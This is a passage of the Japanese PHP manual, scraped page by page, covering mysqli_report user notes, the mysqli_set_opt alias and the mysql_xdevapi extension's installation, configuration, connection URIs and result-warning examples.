normal errors are generated instead of exceptions.
Polarina 10-Nov-2007 03:08
It should be noted that all reports made by this function, are sent through an exception named 'mysqli_sql_exception' instead of a normal PHP warning.
anthony dot parsons at manx dot net 05-Nov-2005 07:23
Be very careful using this function - it's a per-process setting.
If your server is set up to reuse a single PHP process for multiple requests, that means the last setting of this function in any script will affect all other scripts using mysqli.
To be safe always call <? mysqli_report(MYSQLI_REPORT_OFF) ?> at the end of a script. The CGI version of PHP is probably safe from this.

(Tested using PHP 5.0.5, Apache 2 SAPI module)


mysqli_options のエイリアス

  • ≪ mysqli_report
  • 変更履歴 ≫
  • PHP Manual
  • エイリアスおよび非推奨の Mysqli 関数
  • mysqli_options のエイリアス

mysqli::set_opt

mysqli_set_opt

(PHP 5, PHP 7)

mysqli::set_opt -- mysqli_set_opt — mysqli_options() のエイリアス

説明

この関数は次の関数のエイリアスです。 mysqli_options()

User Contributed Notes

There are no user contributed notes for this page.


変更履歴

この拡張モジュールのクラス/関数/メソッドには次のような変更がありました。

Version Function Description

User Contributed Notes

There are no user contributed notes for this page.


Mysql_xdevapi

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • ソースコードからビルド / コンパイルする
  • 定義済み定数
  • 例
  • Mysql_xdevapi 関数
    • expression — プリペアドステートメントの変数をパラメータとしてバインドする
    • getSession — MySQL サーバに接続する
  • mysql_xdevapi\BaseResult — BaseResult クラス
    • BaseResult::getWarnings — 直近の操作の警告を取得する
    • BaseResult::getWarningsCount — 直近の操作から発生した警告の数を取得する
  • mysql_xdevapi\Client — クライアントクラス
    • mysql_xdevapi\Client::close — クライアントの接続を閉じる
    • Client::__construct — Client のコンストラクタ
    • Client::getClient — クライアントのセッションを取得する
  • mysql_xdevapi\Collection — Collection クラス
    • Collection::add — コレクションにドキュメントを追加する
    • Collection::addOrReplaceOne — コレクションのドキュメントを追加または置換する
    • Collection::__construct — Collection のコンストラクタ
    • Collection::count — ドキュメントの数を取得する
    • Collection::createIndex — コレクションにインデックスを作成
    • Collection::dropIndex — コレクションのインデックスを削除
    • Collection::existsInDatabase — コレクションがデータベースに存在するかをチェックする
    • Collection::find — ドキュメントを検索する
    • Collection::getName — コレクションの名前を得る
    • Collection::getOne — ドキュメントをひとつ取得
    • Collection::getSchema — スキーマオブジェクトを得る
    • Collection::getSession — セッションオブジェクトを取得
    • Collection::modify — コレクションのドキュメントを変更する
    • Collection::remove — コレクションを削除する
    • Collection::removeOne — コレクションからドキュメントをひとつ削除する
    • Collection::replaceOne — コレクションのドキュメントをひとつ置き換える
  • mysql_xdevapi\CollectionAdd — CollectionAdd クラス
    • CollectionAdd::__construct — CollectionAdd のコンストラクタ
    • CollectionAdd::execute — ステートメントを実行する
  • mysql_xdevapi\CollectionFind — CollectionFind クラス
    • CollectionFind::bind — クエリのプレースホルダーに値をバインドする
    • CollectionFind::__construct — CollectionFind のコンストラクタ
    • CollectionFind::execute — ステートメントを実行する
    • CollectionFind::fields — ドキュメントのフィールドのフィルタを設定する
    • CollectionFind::groupBy — グループ化の条件を設定する
    • CollectionFind::having — 集約関数の条件を設定する
    • CollectionFind::limit — 返されるドキュメントの数を限定する
    • CollectionFind::lockExclusive — Execute operation with EXCLUSIVE LOCK
    • CollectionFind::lockShared — SHARED LOCK 付きで操作を実行する
    • CollectionFind::offset — 返される要素の数から、与えられた数をスキップする
    • CollectionFind::sort — ソート条件を設定する
  • mysql_xdevapi\CollectionModify — CollectionModify クラス
    • CollectionModify::arrayAppend — 配列のフィールドに要素を追加する
    • CollectionModify::arrayInsert — 配列のフィールドに要素を挿入する
    • CollectionModify::bind — クエリのプレースホルダーに値をバインドする
    • CollectionModify::__construct — CollectionModify のコンストラクタ
    • CollectionModify::execute — 変更の操作を実行する
    • CollectionModify::limit — 変更されるドキュメントの数を限定する
    • CollectionModify::patch — document にパッチを当てる
    • CollectionModify::replace — ドキュメントのフィールドを置き換える
    • CollectionModify::set — ドキュメントの属性を設定する
    • CollectionModify::skip — 要素をスキップする
    • CollectionModify::sort — ソート条件を設定する
    • CollectionModify::unset — ドキュメントのフィールドの値を削除する
  • mysql_xdevapi\CollectionRemove — CollectionRemove クラス
    • CollectionRemove::bind — プレースホルダーに値をバインドする
    • CollectionRemove::__construct — CollectionRemove のコンストラクタ
    • CollectionRemove::execute — 削除操作を実行する
    • CollectionRemove::limit — 削除するドキュメントの数を限定する
    • CollectionRemove::sort — ソート条件を設定する
  • mysql_xdevapi\ColumnResult — ColumnResult クラス
    • ColumnResult::__construct — ColumnResult のコンストラクタ
    • ColumnResult::getCharacterSetName — キャラクタセットを取得する
    • ColumnResult::getCollationName — 照合順序名を取得する
    • ColumnResult::getColumnLabel — カラムのラベルを取得する
    • ColumnResult::getColumnName — カラム名を取得する
    • ColumnResult::getFractionalDigits — カラムの小数の桁数を取得する
    • ColumnResult::getLength — カラムのフィールドの長さを取得する
    • ColumnResult::getSchemaName — スキーマ名を取得する
    • ColumnResult::getTableLabel — テーブルラベルを取得する
    • ColumnResult::getTableName — テーブル名を取得する
    • ColumnResult::getType — カラムの型を取得する
    • ColumnResult::isNumberSigned — 符号付きの型かどうかを調べる
    • ColumnResult::isPadded — パディングされているかを調べる
  • mysql_xdevapi\CrudOperationBindable — CrudOperationBindable インターフェイス
    • CrudOperationBindable::bind — プレースホルダーに値をバインドする
  • mysql_xdevapi\CrudOperationLimitable — CrudOperationLimitable インターフェイス
    • CrudOperationLimitable::limit — 結果を限定する
  • mysql_xdevapi\CrudOperationSkippable — CrudOperationSkippable インターフェイス
    • CrudOperationSkippable::skip — スキップする操作の数
  • mysql_xdevapi\CrudOperationSortable — CrudOperationSortable インターフェイス
    • CrudOperationSortable::sort — 結果をソートする
  • mysql_xdevapi\DatabaseObject — DatabaseObject インターフェイス
    • DatabaseObject::existsInDatabase — オブジェクトがデータベースに存在するかをチェックする
    • DatabaseObject::getName — オブジェクトの名前を取得する
    • DatabaseObject::getSession — セッションの名前を取得する
  • mysql_xdevapi\DocResult — DocResult クラス
    • DocResult::__construct — DocResult のコンストラクタ
    • DocResult::fetchAll — 全ての行を取得する
    • DocResult::fetchOne — 一行取得する
    • DocResult::getWarnings — 直近の操作から発生した警告を取得する
    • DocResult::getWarningsCount — 直近の操作で発生した警告の数を取得する
  • mysql_xdevapi\Exception — Exception クラス
  • mysql_xdevapi\Executable — Executable インターフェイス
    • Executable::execute — ステートメントを実行する
  • mysql_xdevapi\ExecutionStatus — ExecutionStatus クラス
    • ExecutionStatus::__construct — ExecutionStatus のコンストラクタ
  • mysql_xdevapi\Expression — Expression クラス
    • Expression::__construct — Expression のコンストラクタ
  • mysql_xdevapi\Result — Result クラス
    • Result::__construct — Result のコンストラクタ
    • Result::getAffectedItemsCount — 影響を受けた行数を得る
    • Result::getAutoIncrementValue — 自動インクリメントされた値を取得する
    • Result::getGeneratedIds — 生成された id を取得する
    • Result::getWarnings — 直近の操作から発生した警告を取得する
    • Result::getWarningsCount — 直近の操作から生じた警告の数を取得する
  • mysql_xdevapi\RowResult — RowResult クラス
    • RowResult::__construct — RowResult のコンストラクタ
    • RowResult::fetchAll — 結果セットから全ての行を取得する
    • RowResult::fetchOne — 結果セットから行を取得する
    • RowResult::getColumnsCount — カラムの数を取得する
    • RowResult::getColumnNames — 全てのカラム名を取得する
    • RowResult::getColumns — カラムのメタデータを取得する
    • RowResult::getWarnings — 直近の操作から生じた警告を取得する
    • RowResult::getWarningsCount — 直近の操作から生じた警告の数を取得する
  • mysql_xdevapi\Schema — Schema クラス
    • Schema::__construct — Schema のコンストラクタ
    • Schema::createCollection — スキーマにコレクションを追加する
    • Schema::dropCollection — スキーマからコレクションを削除する
    • Schema::existsInDatabase — データベースに存在するかをチェックする
    • Schema::getCollection — スキーマからコレクションを取得する
    • Schema::getCollectionAsTable — コレクションをテーブルオブジェクトとして取得する
    • Schema::getCollections — スキーマに属する全てのコレクションを取得する
    • Schema::getName — スキーマの名前を取得する
    • Schema::getSession — スキーマのセッションを取得する
    • Schema::getTable — スキーマのテーブルを取得する
    • Schema::getTables — スキーマのテーブルを取得する
  • mysql_xdevapi\SchemaObject — SchemaObject インターフェイス
    • SchemaObject::getSchema — スキーマオブジェクトを得る
  • mysql_xdevapi\Session — Session クラス
    • Session::close — セッションを閉じる
    • Session::commit — トランザクションをコミットする
    • Session::__construct — Session のコンストラクタ
    • Session::createSchema — 新しいスキーマを作成する
    • Session::dropSchema — スキーマを削除します
    • Session::generateUUID — 新しいUUIDを取得する
    • Session::getDefaultSchema — デフォルトのスキーマ名を取得する
    • Session::getSchema — 新しいスキーマオブジェクトを取得する
    • Session::getSchemas — スキーマを取得する
    • Session::getServerVersion — サーバのバージョンを取得する
    • Session::listClients — クライアントの一覧を取得する
    • Session::quoteName — クォートを追加する
    • Session::releaseSavepoint — 設定されたセーブポイントをリリースする
    • Session::rollback — トランザクションをロールバックする
    • Session::rollbackTo — セーブポイントまでトランザクションをロールバックする
    • Session::setSavepoint — セーブポイントを作成する
    • Session::sql — SQLクエリを実行する
    • Session::startTransaction — トランザクションを開始する
  • mysql_xdevapi\SqlStatement — SqlStatement クラス
    • SqlStatement::bind — ステートメントのパラメータをバインドする
    • SqlStatement::__construct — SqlStatement のコンストラクタ
    • SqlStatement::execute — 操作を実行する
    • SqlStatement::getNextResult — 次の結果を取得する
    • SqlStatement::getResult — 結果を取得する
    • SqlStatement::hasMoreResults — さらに結果があるかを調べる
  • mysql_xdevapi\SqlStatementResult — SqlStatementResult クラス
    • SqlStatementResult::__construct — SqlStatementResult のコンストラクタ
    • SqlStatementResult::fetchAll — 結果セットから全行取得する
    • SqlStatementResult::fetchOne — 単一の行を取得する
    • SqlStatementResult::getAffectedItemsCount — 影響を受けた行数を取得する
    • SqlStatementResult::getColumnsCount — カラムの数を取得する
    • SqlStatementResult::getColumnNames — カラム名を取得する
    • SqlStatementResult::getColumns — カラムを取得する
    • SqlStatementResult::getGeneratedIds — 生成された id を取得する
    • SqlStatementResult::getLastInsertId — 最後に挿入されたidを取得する
    • SqlStatementResult::getWarnings — 直近の操作から発生した警告を取得する
    • SqlStatementResult::getWarningsCount — 直近の操作で発生した警告の数を取得する
    • SqlStatementResult::hasData — 結果がデータを持っているかを調べる
    • SqlStatementResult::nextResult — 次の結果を取得する
  • mysql_xdevapi\Statement — Statement クラス
    • Statement::__construct — Statement のコンストラクタ
    • Statement::getNextResult — 次の結果を取得する
    • Statement::getResult — 結果を取得する
    • Statement::hasMoreResults — さらに結果があるかを調べる
  • mysql_xdevapi\Table — Table クラス
    • Table::__construct — Table のコンストラクタ
    • Table::count — 行の数を取得する
    • Table::delete — テーブルから行を削除する
    • Table::existsInDatabase — テーブルがデータベースに存在するかをチェックする
    • Table::getName — テーブル名を取得する
    • Table::getSchema — テーブルスキーマを取得する
    • Table::getSession — テーブルを操作するためのセッションを取得する
    • Table::insert — テーブルに行を挿入する
    • Table::isView — テーブルがビューかどうかを調べる
    • Table::select — テーブルから行を選択する
    • Table::update — テーブルの行を更新する
  • mysql_xdevapi\TableDelete — TableDelete クラス
    • TableDelete::bind — delete のクエリパラメータをバインドする
    • TableDelete::__construct — TableDelete のコンストラクタ
    • TableDelete::execute — delete文を実行する
    • TableDelete::limit — 削除する行を限定する
    • TableDelete::orderby — 削除の際のソート条件を設定する
    • TableDelete::where — 削除時の検索条件を設定する
  • mysql_xdevapi\TableInsert — TableInsert クラス
    • TableInsert::__construct — TableInsert クラスのコンストラクタ
    • TableInsert::execute — insert クエリを実行する
    • TableInsert::values — 挿入する行の値を追加する
  • mysql_xdevapi\TableSelect — TableSelect クラス
    • TableSelect::bind — select のクエリパラメータをバインドする
    • TableSelect::__construct — TableSelect のコンストラクタ
    • TableSelect::execute — select ステートメントを実行する
    • TableSelect::groupBy — select 時のグループ化の条件を設定する
    • TableSelect::having — select 句の having 条件を設定する
    • TableSelect::limit — 選択される行の数を限定する
    • TableSelect::lockExclusive — EXCLUSIVE LOCK を実行する
    • TableSelect::lockShared — SHARED LOCK を実行する
    • TableSelect::offset — スキップするoffsetを設定する
    • TableSelect::orderby — select 文のソート条件を設定する
    • TableSelect::where — select 文の検索条件を設定する
  • mysql_xdevapi\TableUpdate — TableUpdate クラス
    • TableUpdate::bind — update のクエリパラメータをバインドする
    • TableUpdate::__construct — TableUpdate のコンストラクタ
    • TableUpdate::execute — update クエリを実行する
    • TableUpdate::limit — 更新する行の数を限定する
    • TableUpdate::orderby — ソート条件を設定する
    • TableUpdate::set — 更新されるフィールドを追加する
    • TableUpdate::where — 検索フィルタを設定する
  • mysql_xdevapi\Warning — Warning クラス
    • Warning::__construct — Warning のコンストラクタ

User Contributed Notes

There are no user contributed notes for this page.


はじめに

この拡張モジュールは、MySQLドキュメントストアに X DevAPI 経由でアクセスできるようにします。 X DevAPI は、複数の MySQLコネクタ によって提供されている、共通のAPIです。 これらのコネクタは、リレーショナルなテーブルだけでなく、JSONで表現されたドキュメントのコレクションに対しても、 CRUDスタイルの操作を持つAPIを通して簡単にアクセスできます。

X DevAPI は Xプロトコルを使っています。 これは MySQL 8.0 サーバの、新世代のクライアント-サーバプロトコルです。

MySQLドキュメントストアに関する一般的な情報については、 MySQLマニュアル の » MySQL Document Store の章を参照してください。

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

目次

  • 要件
  • インストール手順
  • 実行時設定
  • ソースコードからビルド / コンパイルする

User Contributed Notes

There are no user contributed notes for this page.


要件

この拡張機能は、X プラグインを有効にした(デフォルトで有効になっています) MySQL 8 以上のサーバが必須です。

この拡張機能をコンパイルするために前提となるライブラリは以下です: Boost (1.53.0 以上), OpenSSL, and Protobuf

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

Ubuntu 18.04 上の PHP 7.2 でインストールする例:

// 依存するものをインストール
$ apt install build-essential libprotobuf-dev libboost-dev openssl protobuf-compiler liblz4-tool zstd

// 望ましい拡張機能と一緒にPHPをインストール; php7.2-dev はコンパイルに必須
$ apt install php7.2-cli php7.2-dev php7.2-mysql php7.2-pdo php7.2-xml

// 拡張機能をコンパイル
$ pecl install mysql_xdevapi

pecl install コマンドは、PHP の拡張機能を有効にしません(デフォルト) し、PHP の拡張機能を有効にする方法は複数あります。 Ubuntu 18.04 上の PHP 7.2 でインストールする別の例を以下に示します:

// 自分の ini ファイルを作る
$ echo "extension=mysql_xdevapi.so" > /etc/php/7.2/mods-available/mysql_xdevapi.ini

// 'phpenmod' コマンドを使う (注意: Debian/Ubuntu 特有のコマンドです)
$ phpenmod -v 7.2 -s ALL mysql_xdevapi

// 'phpenmod' の代わりに、手動でシンボリックリンクを張る
// $ ln -s /etc/php/7.2/mods-available/mysql_xdevapi.ini /etc/php/7.2/cli/conf.d/20-mysql_xdevapi.ini

// MySQL 拡張機能が有効になっているかどうかをチェックしよう
$ php -m |grep mysql

mysql_xdevapi
mysqli
mysqlnd
pdo_mysql

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/mysql_xdevapi

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

Mysql_xdevapi 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
xmysqlnd.collect_memory_statistics | 0 | PHP_INI_SYSTEM |
xmysqlnd.collect_statistics | 1 | PHP_INI_ALL |
xmysqlnd.debug |  | PHP_INI_SYSTEM |
xmysqlnd.mempool_default_size | 16000 | PHP_INI_ALL |
xmysqlnd.net_read_timeout | 31536000 | PHP_INI_SYSTEM |
xmysqlnd.trace_alloc |  | PHP_INI_SYSTEM |

以下に設定ディレクティブに関する 簡単な説明を示します。

xmysqlnd.collect_memory_statistics int

xmysqlnd.collect_statistics int

xmysqlnd.debug string

xmysqlnd.mempool_default_size int

xmysqlnd.net_read_timeout int

xmysqlnd.trace_alloc string

User Contributed Notes

There are no user contributed notes for this page.


ソースコードからビルド / コンパイルする

この拡張機能をソースコードからコンパイルする際に、考慮すべき事項は以下です。

  • 拡張機能の名前は 'mysql_xdevapi' です。 よって、 --enable-mysql-xdevapi を使ってください。

  • Boost が必須です。 オプションで configure オプション --with-boost=DIR や MYSQL_XDEVAPI_BOOST_ROOT 環境変数が使えます。 boost のヘッダファイルのみが必須で、ライブラリファイルは必要ありません。

  • Google の Protocol Buffers (protobuf) が必須です。 オプションで configure オプション --with-protobuf=DIR や MYSQL_XDEVAPI_PROTOBUF_ROOT 環境変数が使えます。

    protobuf ファイル (*.pb.cc/.h) を生成するのに オプションで make protobufs が使えますし、 生成された protobuf ファイルを削除するのに make clean-protobufs が使えます。

    Windows 特有の protobuf に関する注意: 環境によっては、マルチスレッドに対応した DLL ランタイムが含まれる静的ライブラリが必要かもしれません。 これを準備するには、以下のオプションを使ってください: -Dprotobuf_MSVC_STATIC_RUNTIME=OFF -Dprotobuf_BUILD_SHARED_LIBS=OFF

  • Google の Protocol Buffers / protocol コンパイラ (protoc) が必須です。 適切な 'protoc' コマンドが ビルド中に PATH が通った場所に置いておいてください。 このことは、Windows PHP SDK バッチスクリプトが この環境変数を上書きする可能性があるため特に重要です。

  • Bison は必須です。PATH が通った場所に置いておいてください。

    Window 特有の bison に関する注意: PHP SDK と同梱されている bison を使うことを強く推奨します。 さもなければ、次のメッセージに似たエラーが出る可能性があります。 "zend_globals_macros.h(39): error C2375: 'zendparse': redefinition; different linkage Zend/zend_language_parser.h(214): note: see declaration of 'zendparse'" Windows PHP SDK バッチスクリプトが 環境変数を上書きする可能性があることにも注意してください。

  • Windows 特有の注意: 環境を準備するために、オフィシャルな Windows ビルドドキュメント (» 現行のSDK) を参照してください

    全てのファイルpathについて、スラッシュ '/' ではなく、 バックスラッシュ '\\' を使うことを推奨します。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

MYSQLX_CLIENT_SSL (int)
MYSQLX_TYPE_DECIMAL (int)
MYSQLX_TYPE_TINY (int)
MYSQLX_TYPE_SHORT (int)
MYSQLX_TYPE_SMALLINT (int)
MYSQLX_TYPE_MEDIUMINT (int)
MYSQLX_TYPE_INT (int)
MYSQLX_TYPE_BIGINT (int)
MYSQLX_TYPE_LONG (int)
MYSQLX_TYPE_FLOAT (int)
MYSQLX_TYPE_DOUBLE (int)
MYSQLX_TYPE_NULL (int)
MYSQLX_TYPE_TIMESTAMP (int)
MYSQLX_TYPE_LONGLONG (int)
MYSQLX_TYPE_INT24 (int)
MYSQLX_TYPE_DATE (int)
MYSQLX_TYPE_TIME (int)
MYSQLX_TYPE_DATETIME (int)
MYSQLX_TYPE_YEAR (int)
MYSQLX_TYPE_NEWDATE (int)
MYSQLX_TYPE_ENUM (int)
MYSQLX_TYPE_SET (int)
MYSQLX_TYPE_TINY_BLOB (int)
MYSQLX_TYPE_MEDIUM_BLOB (int)
MYSQLX_TYPE_LONG_BLOB (int)
MYSQLX_TYPE_BLOB (int)
MYSQLX_TYPE_VAR_STRING (int)
MYSQLX_TYPE_STRING (int)
MYSQLX_TYPE_CHAR (int)
MYSQLX_TYPE_BYTES (int)
MYSQLX_TYPE_INTERVAL (int)
MYSQLX_TYPE_GEOMETRY (int)
MYSQLX_TYPE_JSON (int)
MYSQLX_TYPE_NEWDECIMAL (int)
MYSQLX_TYPE_BIT (int)
MYSQLX_LOCK_DEFAULT (int)
MYSQLX_LOCK_NOWAIT (int)
MYSQLX_LOCK_SKIP_LOCKED (int)

User Contributed Notes

There are no user contributed notes for this page.


例

X DevAPI の中心的なエントリポイントは、 mysql_xdevapi\getSession() 関数です。 これは MySQL 8.0 サーバへの URI を受取り、 mysql_xdevap\Session オブジェクトを返します。

例1 MySQL Serverへの接続

<?php
try {
    $session = mysql_xdevapi\getSession("mysqlx://user:password@host");
} catch(Exception $e) {
    die("Connection could not be established: " . $e->getMessage());
}

// ... use $session
?>

セッションは、API への完全なアクセスを提供します。 新しい MySQL サーバをインストールした後の最初のステップは、 データを保存するために、コレクションを使ってデータベースのスキーマを作ることです:

例2 MySQL サーバ上で、スキーマとコレクションを作る

<?php
$schema = $session->createSchema("test");
$collection = $schema->createCollection("example");
?>

データを保存する際には、 json_encode() 関数を使い、データを JSON にエンコードします。 JSON はコレクションに保存するのに使います。

次の例は、既に述べた例で作ったコレクションにデータを保存します。 そして、その一部を再度取得します。

例3 データを保存し、取得する

<?php
$marco = [
  "name" => "Marco",
  "age"  => 19,
  "job"  => "Programmer"
];
$mike = [
  "name" => "Mike",
  "age"  => 39,
  "job"  => "Manager"
];

$schema = $session->getSchema("test");
$collection = $schema->getCollection("example");

$collection->add($marco, $mike)->execute();

var_dump($collection->find("name = 'Mike'")->execute()->fetchOne());
?>

上の例の出力は、 たとえば以下のようになります。

array(4) {
  ["_id"]=>
  string(28) "00005ad66aaf0000000000000003"
  ["age"]=>
  int(39)
  ["job"]=>
  string(7) "Manager"
  ["name"]=>
  string(4) "Mike"
}

この例では、文書へのプライマリーキーの役割を果たす _id という追加フィールドを MySQL サーバが追加していることを示しています。

さらにこの例は、取得したデータがアルファベット順にソートされていることも示しています。 この特定の並び順は、MySQL サーバ内の効率的なバイナリストレージから来ていますが、 それに依存すべきではありません。詳細は、MySQL の JSON データ型のドキュメントを参照してください。

オプションで、複数の文書を取得するのに、PHP のイテレータが使えます。

例4 複数の文書を取得し、それを走査する

<?php
$result = $collection->find()->execute();
foreach ($result as $doc) {
  echo "${doc["name"]} is a ${doc["job"]}.\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

Marco is a Programmer.
Mike is a Manager.

User Contributed Notes

There are no user contributed notes for this page.


Mysql_xdevapi 関数

目次

  • expression — プリペアドステートメントの変数をパラメータとしてバインドする
  • getSession — MySQL サーバに接続する

User Contributed Notes

There are no user contributed notes for this page.


プリペアドステートメントの変数をパラメータとしてバインドする

  • ≪ Mysql_xdevapi 関数
  • getSession ≫
  • PHP Manual
  • Mysql_xdevapi 関数
  • プリペアドステートメントの変数をパラメータとしてバインドする

expression

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

expression — プリペアドステートメントの変数をパラメータとしてバインドする

説明

mysql_xdevapi\expression ( string $expression ) : object

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

expression

返り値

例

例1 mysql_xdevapi\Expression() の例

<?php
$expression = mysql_xdevapi\Expression("[age,job]");

$res  = $coll->find("age > 30")->fields($expression)->limit(3)->execute();
$data = $res->fetchAll();

print_r($data);
?>

上の例の出力は、 たとえば以下のようになります。

<?php

User Contributed Notes

There are no user contributed notes for this page.


MySQL サーバに接続する

  • ≪ expression
  • mysql_xdevapi\BaseResult ≫
  • PHP Manual
  • Mysql_xdevapi 関数
  • MySQL サーバに接続する

getSession

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

getSession — MySQL サーバに接続する

説明

mysql_xdevapi\getSession ( string $uri ) : mysql_xdevapi\Session

MySQL サーバに接続します。

パラメータ

uri

mysqlx://user:password@host のような、MySQL サーバへのURI。

URI のフォーマットは下記のとおりです:

scheme://[user[:[password]]@]target[:port][?attribute1=value1&attribute2=value2...

  • scheme は必須です。接続プロトコルです

    mysql_xdevapi では、常に 'mysqlx' です(X プロトコル)

  • user: オプションです。認証される MySQL アカウント

  • password: オプションです。認証に使う MySQL ユーザのパスワード

  • target: 必須です。 接続が参照する サーバインスタンスです:

    * TCP接続 (ホスト名, IPv4 アドレス, または IPv6 アドレス)

    * Unix ソケットのパス (ローカルファイルのパス)

    * Windows 名前付きパイプ (ローカルファイルのパス)

  • port: オプションです。MySQL サーバのネットワーク ポート

    X プロトコルのデフォルトのポートは 33060 です

  • ?attribute=value: この要素はオプションで、異なるオプションを含む 次のような辞書データを指定します:

    • auth (認証メカニズム) 属性は、接続の暗号化に関連があります。 追加の情報については、 » Command Options for Encrypted Connections を参照してください。 'auth' 属性については、次の値がサポートされています: plain, mysql41, external, sha256_mem.

    • connect-timeout 属性は、接続時と接続後の操作に影響します。 単一、複数のホストへの接続かに関わらず、接続単位で設定します。

      接続タイムアウトは秒単位で正の整数を渡します。 0 を渡すと、タイムアウトを無効(つまり無限) にします。 connect-timeout を定義しないと、デフォルト値10を使います。

      関連事項として、 MYSQLX_CONNECTION_TIMEOUT (秒単位のタイムアウト) および、 MYSQLX_TEST_CONNECTION_TIMEOUT (テスト時に使います) 環境変数を、URI に connect-timeout を設定する代わりに設定し、使うことができます。 connect-timeout URI オプションは、これらの環境変数に優先します。

    • オプションの compression は、以下の値を受け付けます: preferred (クライアントとサーバが、お互いがサポートしているアルゴリズムを見つけるために交渉します。つまり、サポートされたアルゴリズムが見つからない場合は圧縮されません), required ("preferred" と似ていますが、お互いがサポートしているアルゴリズムが見つからない場合は接続を終了します), または disabled (この接続では圧縮が行われません)。 デフォルトは preferred です。

      このオプションは 8.0.20 で追加されました。

    • オプションの compression-algorithms 属性は、 好みの圧縮アルゴリズム(および好みの優先順) を定義します: zstd_stream (エイリアス: zstd), lz4_message (エイリアス: lz4), deflate_stream (エイリアス: deflate, zlib) が指定できます。 デフォルトでは、(システムで利用可能かどうかに依存しますが) lz4_message, zstd_stream, deflate_stream の順番が使われます。 たとえば、compression-algorithms=[lz4,zstd_stream] という値を渡した場合、 lz4 が利用可能であれば lz4 を使いますが、そうでない場合は、zstd_stream が使われます。 lz4, zstd_stream 双方が利用できない場合、振る舞いは compression の値に依存します。 たとえば、compression=required の場合、エラーが出て接続は失敗します。

      このオプションは 8.0.22 で追加されました。

例1 URI の例

mysqlx://foobar
mysqlx://root@localhost?socket=%2Ftmp%2Fmysqld.sock%2F
mysqlx://foo:bar@localhost:33060
mysqlx://foo:bar@localhost:33160?ssl-mode=disabled
mysqlx://foo:bar@localhost:33260?ssl-mode=required
mysqlx://foo:bar@localhost:33360?ssl-mode=required&auth=mysql41
mysqlx://foo:bar@(/path/to/socket)
mysqlx://foo:bar@(/path/to/socket)?auth=sha256_mem
mysqlx://foo:bar@[localhost:33060, 127.0.0.1:33061]
mysqlx://foobar?ssl-ca=(/path/to/ca.pem)&ssl-crl=(/path/to/crl.pem)
mysqlx://foo:bar@[localhost:33060, 127.0.0.1:33061]?ssl-mode=disabled
mysqlx://foo:bar@localhost:33160/?connect-timeout=0
mysqlx://foo:bar@localhost:33160/?connect-timeout=10&compression=required
mysqlx://foo:bar@localhost:33160/?connect-timeout=10&compression=required&compression-algorithms=[lz4,zstd_stream]

関連する情報については、MySQL Shell の » Connecting using a URI String を参照してください

返り値

Session オブジェクト

エラー / 例外

接続に失敗した場合は、Exception がスローされます。

例

例2 mysql_xdevapi\getSession() の例

<?php
try {
    $session = mysql_xdevapi\getSession("mysqlx://user:password@host");
} catch(Exception $e) {
    die("Connection could not be established: " . $e->getMessage());
}

$schemas = $session->getSchemas();
print_r($schemas);

$mysql_version = $session->getServerVersion();
print_r($mysql_version);

var_dump($collection->find("name = 'Alfred'")->execute()->fetchOne());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => mysql_xdevapi\Schema Object
        (
            [name] => helloworld
        )
    [1] => mysql_xdevapi\Schema Object
        (
            [name] => information_schema
        )
    [2] => mysql_xdevapi\Schema Object
        (
            [name] => mysql
        )
    [3] => mysql_xdevapi\Schema Object
        (
            [name] => performance_schema
        )
    [4] => mysql_xdevapi\Schema Object
        (
            [name] => sys
        )
)

80012

array(4) {
  ["_id"]=>
  string(28) "00005ad66abf0001000400000003"
  ["age"]=>
  int(42)
  ["job"]=>
  string(7) "Butler"
  ["name"]=>
  string(4) "Alfred"
}

User Contributed Notes

There are no user contributed notes for this page.


BaseResult クラス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\BaseResult {
/* メソッド */
abstract public getWarnings ( ) : array
abstract public getWarningsCount ( ) : int
}

目次

  • BaseResult::getWarnings — 直近の操作の警告を取得する
  • BaseResult::getWarningsCount — 直近の操作から発生した警告の数を取得する

User Contributed Notes

There are no user contributed notes for this page.


直近の操作の警告を取得する

  • ≪ mysql_xdevapi\BaseResult
  • BaseResult::getWarningsCount ≫
  • PHP Manual
  • mysql_xdevapi\BaseResult
  • 直近の操作の警告を取得する

BaseResult::getWarnings

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

BaseResult::getWarnings — 直近の操作の警告を取得する

説明

abstract public mysql_xdevapi\BaseResult::getWarnings ( ) : array

MySQL サーバに対する直近の操作によって生成された警告を取得します

パラメータ

この関数にはパラメータはありません。

返り値

直近の操作から生成される Warning オブジェクトの配列を返します。 各々のオブジェクトはエラーの 'message', 'level', そして 'code' を定義しています。 エラーが発生していなければ、空の配列が返されます。

例

例1 mysql_xdevapi\RowResult::getWarnings() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();

$schema = $session->getSchema("foo");
$table  = $schema->getTable("test_table");

$table->insert(['x'])->values([1])->values([2])->execute();

$res = $table->select(['x/0 as bad_x'])->execute();
$warnings = $res->getWarnings();

print_r($warnings);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => mysql_xdevapi\Warning Object
        (
            [message] => Division by 0
            [level] => 2
            [code] => 1365
        )
    [1] => mysql_xdevapi\Warning Object
        (
            [message] => Division by 0
            [level] => 2
            [code] => 1365
        )
)

User Contributed Notes

There are no user contributed notes for this page.


直近の操作から発生した警告の数を取得する

  • ≪ BaseResult::getWarnings
  • mysql_xdevapi\Client ≫
  • PHP Manual
